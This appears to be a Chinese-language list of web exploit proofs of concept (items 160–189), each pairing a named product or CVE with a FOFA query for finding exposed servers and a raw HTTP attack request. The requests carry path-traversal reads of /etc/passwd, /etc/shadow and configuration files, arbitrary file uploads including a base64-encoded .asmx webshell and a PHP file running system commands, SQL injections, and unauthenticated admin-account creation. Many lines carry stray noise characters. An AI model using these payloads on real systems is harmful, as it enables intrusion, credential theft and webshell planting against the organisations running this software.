% d8 i/ J; v1 {+ Q' I<jobUpload xmlns="http://rainier">
$ P3 E' W0 d  r) ^<vcode>1</vcode>
* E: H7 y7 \/ T<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
  r/ j: }* u: q. b6 B& @5 [<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
4 U$ w8 G9 |4 B) O$ A4 n</jobUpload>
</soap:Body>
; K5 ~- c' A4 o. P' H</soap:Envelope>

( J9 v0 z% j) G5 ^9 X
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
% l; }9 \, d9 B5 T6 e* `CVE-2024-4956
FOFA：title="Nexus Repository Manager"
' J/ ?$ [3 a+ {" i4 |& p! oGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
( M3 P7 c. Y' C% I. bAccept-Encoding: gzip


5 K7 E9 _1 E  w& g9 T161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
2 T2 i( b5 y  h3 V. U, r8 F# ?1 h! zFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
! p3 a. D$ D6 O  D# RConnection: close
5 E1 {" E0 ~' v& GContent-Length: 445
, L0 D5 s" U5 uContent-Type: text/xml
Accept-Encoding: gzip

/ l( ]" t! E+ O; t5 R) a$ E<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 t2 y% |: p* @% e5 P0 w<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
& \4 |  ?& _/ V8 [+ u5 B- h<tag>3</tag>
</UploadResume>
</soap:Body>
* Y% e+ z5 }0 W: ?2 Y; b</soap:Envelope>


2 s5 ~) C2 ~; d3 d  d3 I6 K8 ghttp://x.x.x.x/dizxdell.aspx

2 o$ ^" a: I0 C) B162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
, B. E6 w% X5 r3 c1 fPOST /QH.aspx HTTP/1.1
  X1 [( N6 l  A6 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
! [  k1 A7 X+ W! X' d1 X" W# mConnection: close
2 x5 D" y& E( r) }. dContent-Length: 583
9 L$ T: r% s! B9 [1 {, qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
' |: L* _( E2 U% g/ ]3 jAccept-Encoding: gzip
: E& ?6 e; m- _6 u/ }1 \
$ Y  ^2 b  I# x1 H7 Q------WebKitFormBoundaryeegvclmyurlotuey
$ K4 V. U6 @- F& _, ?& A8 D0 vContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
6 a) X9 K+ J1 z: i  MContent-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
! ]; ?6 j" J9 h0 W2 }: f------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

$ F0 S5 W6 n" O% }( o/ W% ?6 X3 Wupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
  }  i, z; O& S# E. D
" o5 h6 J/ x7 f* TResourceNewResponder
( _/ I5 D- ^. J9 I* B& `------WebKitFormBoundaryeegvclmyurlotuey
1 ^9 M" s. T' {1 `, q/ AContent-Disposition: form-data; name="remotePath"

% B$ M% n  F7 H& R0 a* g, ^" f/opt/resources
6 C" |: P% X& k! S------WebKitFormBoundaryeegvclmyurlotuey--


5 J" _9 {+ m5 ?% z8 D& x  phttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
1 O9 d) g) t6 I" p$ F7 h
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
& q3 ~2 Q  t, fHost: x.x.x.x
  x& z& [' o; o, \! @" EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
6 k, g% C, K; y6 T' J& A" rConnection: close
Content-Length: 293
Accept: */*
2 q/ D3 t. E/ mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: K% L, G0 p2 p# `7 WContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
/ x5 H% @+ {9 x9 p1 ?
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
- [5 F# S: ?+ e
1.php
) F+ l- }6 i% [- O) Q8 a------iiqvnofupvhdyrcoqyuujyetjvqgocod
3 M; z; t; U( O% L: e& RContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

) {  \( ]$ o9 trvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
4 t1 O' e6 N7 z/ _0 B

* Z0 V# z5 D" X$ j' P% u164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* R- U  o, J7 T  u8 o, W! o9 qFOFA: title="智慧综合管理平台登入"
- Q+ O, c/ [, m4 K" MPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
" V' F4 ]- L0 h0 jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
' N- ]& w# A& E+ Y3 {# HConnection: close
3 o1 a0 G' H+ {% @: lContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
. k: d( X. x# Q' k8 NX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

& u! F. R( x4 q1 c! ^------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
7 m9 I4 R1 G; e& u8 ~Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

& l# d3 n6 u" t7 n2 J1 b165. OrangeHRM 3.3.3 SQL 注入
# R8 o; p# @& a9 QCVE-2024-36428
3 G7 K0 E" W( @FOFA: app="OrangeHRM-产品"
7 I8 i4 R9 E: m$ b7 j; hURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
9 b" |# x$ E4 }  ~8 O' X

166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
) w: {  P0 ~8 d- i5 K! A/ j! ~POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
8 e- u4 x$ O# }; |) J- E) {& v% UHost:
Pragma: no-cache
5 o( n# @6 R) z4 V. g1 u0 L0 c. {Cache-Control: no-cache
5 M/ d! e+ A) e- x+ t* n! C4 GUpgrade-Insecure-Requests: 1
' G$ t" ^! N4 C* YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' o# U3 @" i6 X" L, EAccept-Encoding: gzip, deflate
5 D2 C; m' |8 K5 [' J' N/ A4 GAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
3 n1 Y. L' d9 _$ F3 QCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
! O. p( n; o' R" E/ NContent-Length: 89
0 Z! b0 r6 X1 F) q& h% f5 B0 x
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
" N# f- y& E, f* _

167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
4 b& p' b( @- ]6 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& q% h: D$ ?% h& {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
- f# }; ?3 a! \) f
) f7 ^/ r8 B( }
4 v' v- `( c' H; z$ p! F168. 宏景EHR OutputCode 任意文件读取
* N! L( b$ ]3 H2 d2 @FOFA：app="HJSOFT-HCM"
3 _. h$ L; l% I( LGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
$ j4 u% P. n$ P0 g6 |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& p8 N, B1 b) ~: X; }Connection: close
; L! L: u" x& f# h
8 o. A2 s; O4 c! J8 o& G
! {* m% G, f4 W& N7 F; l2 ?! R: n
+ R* ]* `# D) B3 S6 A169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
7 b1 w7 ]+ @, R1 ^! p" z) |1 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 N+ i* i3 [; S6 z. ?8 z  PAccept: */*
Accept-Encoding: gzip, deflate
Connection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
. s2 K$ [0 D+ Q& U1 {  WFOFA：body="/general/sys/hjaxmanage.js"
/ q: f# p+ u# u" B/ Y6 o9 _9 @1 NPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
$ y1 C- \. x8 S! q" s# Q, t: VUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( _) A. L4 _) ], H7 y4 DContent-Type: application/x-www-form-urlencoded
1 T, Z: z9 B, V, [) n$ d6 P
filename=../webapps/ROOT/WEB-INF/web.xml
6 U$ G4 b7 p6 p. Q2 m9 b" @
' ?+ a3 }. K# ~3 O
" M( U9 v; p# `1 d" p171. 通天星CMSV6车载定位监控平台 SQL注入
5 ^) U2 c9 Q6 [* Q' mFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
" \6 ?) B7 K# Q- _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
5 |) A9 I7 e/ i$ D8 E) N; e. c3 VAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
: x4 C% Q* K+ [' E" }! H6 p

5 M, S1 z" b* w
172. DT-高清车牌识别摄像机任意文件读取
& w+ L0 V& P6 ^* c, ZFOFA：app="DT-高清车牌识别摄像机"
% R! l& ]' l3 aGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
8 ?$ c" b  }$ u  U  BAccept: */*
Connection: keep-alive
8 Q% p5 d2 z2 X7 c6 |4 _

" F5 Y; Y) q8 L; U0 p
  Z) h, K3 x: T6 V173. Check Point 安全网关任意文件读取
CVE-2024-24919
( `7 F; M- z7 |" }FOFA：app="Check_Point-SSL-Network-Extender"
% r, _1 h- s% i' l  P4 XPOST /clients/MyCRL HTTP/1.1
$ t  \; S; [  q5 s  IHost: your-ip
$ Z& C6 W) R7 G! ?6 s( I9 D* DContent-Type: application/x-www-form-urlencoded
: T: ]5 ]$ e) _6 q$ I4 N
aCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
- ]2 e" v3 n  a, x  }5 p, kFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
6 L( D; c9 N& h* [. U  SHost: your-ip
4 ]- y: h# D* Y8 S6 \3 _& gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ z# H$ f6 w9 A( sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) Z# i8 ?- L, g/ i% g3 `3 TAccept-Encoding: gzip, deflate, br
5 Z3 g3 \/ w" \" FAccept-Language: zh-CN,zh;q=0.9
3 u: s" V+ F0 BConnection: close
! Q' H7 B4 b# w  }& ~. I

+ S( d; {8 f% D. g/ W& L, e
! {, Z$ Y) w( I+ g+ N+ l$ v' G0 Y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
. s( q) x- W$ w. uGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
0 F2 M) Q; q* O& q3 x: M& hUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
( L+ i2 }, O+ U8 v  g9 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
; [) ^9 C5 ~: e+ K# c" k* I
% S6 d2 T  L# y
9 @' ?+ [# N4 S8 v! W/ N  x176. 电信网关配置管理系统 rewrite.php 文件上传
) E1 h1 f4 ]( l, xFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
( j  A& g0 H9 w2 UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

$ o; v$ o: d0 Q7 ^/ f------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
9 a1 d7 S- W% V( @/ K  ?1 R& uContent-Type: image/png

3 ?; e0 U  _9 i$ Q6 Y' F<?php system("cat /etc/passwd");unlink(__FILE__);?>
6 x4 `. r0 f% @# F+ s------WebKitFormBoundaryOKldnDPT
) ^" O( p7 A7 \7 b  v: u% {Content-Disposition: form-data; name="uploadtime"

/ i# ?  f3 u4 F
% z% \+ i9 A/ l' S! h5 |------WebKitFormBoundaryOKldnDPT--
9 k/ o. Q: |& U  O: \& [! x* r


177. H3C路由器敏感信息泄露
0 B8 J0 u% d. l" ]1 W/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
" Q' N2 t8 |1 [; K/userLogin.asp/../actionpolicy_status/../GR8300.cfg
; o: B0 E7 u7 H+ R( C$ K0 w/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
: K% {3 A* L& z/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
% L' w4 k4 o4 V8 W1 W- p0 g/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
8 Y+ F7 \9 o8 K  Y! R1 f9 W/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
' p. H% a: Z& ~) ?8 ]# |- R/userLogin.asp/../actionpolicy_status/../ER3200.cfg
1 t, W8 D- [0 ^3 ~/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
' b5 n1 I5 U3 ^6 |3 [- [4 C/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
; D* F) }# F9 G4 W2 ^5 o
8 }6 L' c2 G6 T! c% ?
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
, D: c0 ?2 F" a) YFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
/ \5 t: y; Z0 u) B( E( AAccept-Encoding: gzip, deflate
Connection: close
6 s8 m! Z- i2 _3 |' d1 s3 ZContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
" A1 X8 u3 U$ P- g3 e3 a-----------------aqutkea7vvanpqy3rh2l
& c- ?) d% Z* tContent-Disposition: form-data; name="12234.txt"; filename="12234"
% O2 s$ s8 R$ m8 b3 q3 rContent-Type: application/octet-stream
( m8 c+ f5 O, X, s$ [' LContent-Length: 255
9 `5 z8 l. [/ r( b$ |' M/ I
12234
1 r4 c* w* L( ]  X9 G-----------------aqutkea7vvanpqy3rh2l--

1 Y% E8 F1 k/ T  r/ L1 i
GET /imc/primepush/%2e%2e/flex/12234.txt
7 L, y) R' s5 r+ q" v0 O0 D

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
, F, m6 A  \  L( P# ?$ JHost: {{Hostname}}
0 g2 Q# k& F( _6 i  w8 {' vContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

& W+ A( d. H3 @: Ppath=../log4net.config&Name=
2 S8 M6 F5 Q3 d( g  q" `

; @8 j2 H4 B5 N6 V& r180. 帮管客 CRM jiliyu SQL注入
0 j4 v0 {/ \) H& q' }& B, TFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
' E" {' B3 L8 [! G9 \Host: your-ip
- S) e7 f3 A$ J$ Z3 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# r2 X4 h/ O5 b6 n& ~3 IConnection: close

- w( x  k, T  t  c3 q
5 v/ N0 X- o  R7 W6 m& w! P8 ]181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
% {* g8 H; G* P- s3 Z% G! b9 v" lPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
. M9 a7 ?* k) I& \( qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

$ D. i0 e0 N" L- V
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ `# ^. c$ l, ^$ ~: y; Y' xFOFA："PDCA/js/_publicCom.js"
  X8 V" f; m6 n+ `7 nPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
# N$ q' H& \. [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

# ^0 }( D2 v$ G! f# V4 H
username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
) S7 {$ U, a  Y0 B; m9 EAccept-Encoding: gzip, deflate
+ i2 S7 h% U7 B- |  V1 S) w0 O" b  iConnection: close
8 {0 O# z% I# s; E5 d# g

0 h0 G( n/ `8 ]% j" c184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
' \+ M3 p- p2 pFOFA：server="SunFull-Webs"
* Y3 o* `# _% A& |' ^7 L; CPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
" t7 I# P/ {9 X1 B8 m! \+ c1 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

. Z4 g5 t  n0 n& w: P1 k
4 x8 i& }1 ?, D( N. C/ J& |4 _2 ?3 [insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
4 e9 k% z# A' G& B' w0 Gversion < 7.0.5.1
. s' c! a9 {; a( ~FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
- k6 S  w- s3 y. \/ y# qHost: host

8 y# a+ j, @  u: v! F
/ m  l' g1 ]" V; s186. F-logic DataCube3 SQL注入
! H" p( i: b- m, e' g. PCVE-2024-31750
6 H7 P3 j( Y- s, ^' mF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
1 Z  N9 w) c8 `1 k( }- y" C$ a4 PFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
% G/ G3 {3 n: M& nHost: your-ip
! q3 g- t8 l6 Y! U. Z, OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
2 Q; {: D# z/ o  \1 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& n5 u, S7 t0 F7 `  B% ?/ l6 NAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
) q# N5 {( S5 I9 w6 T5 \

* ?9 V2 @# R! A; T. D8 }: I187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
6 v, w0 a, ]4 C% l0 R- s7 K, W# SPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
% A0 H/ N# ?" W( vHost: your-ip
2 _+ u" P2 |0 [+ k3 T4 cContent-Type: application/x-www-form-urlencoded

4 _" v( j& I! s) N! S2 Y0 P  s5 z# U
- D+ p, D$ C0 R7 y, Yobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
/ k# Z6 h4 o' g. }& s
$ I% B* I. ?  Z1 C) v% J
+ K7 P# ^( Y4 e! _5 u) U1 F188. 叁体-佳会视频会议 attachment 任意文件读取
9 s2 }* M; C2 Jversion <= 3.9.7
" [- {6 e+ ]8 S; I" G7 ]FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
# g3 e* Y' L& O$ Y1 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 t; ~% N' @. w6 Z& }- u) wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 n5 K; E) I% p6 d: p" U+ hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
% C$ ]2 X- `( |0 C: w9 \# x+ i+ G2 Q
2 }! Q# m: o) Z3 ~
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
( [2 p6 u. G3 C! ~; _FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
  W! i6 a( F" E& IHost: your-ip
# e$ N+ q0 F" S! E* ~  Z- ~! RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
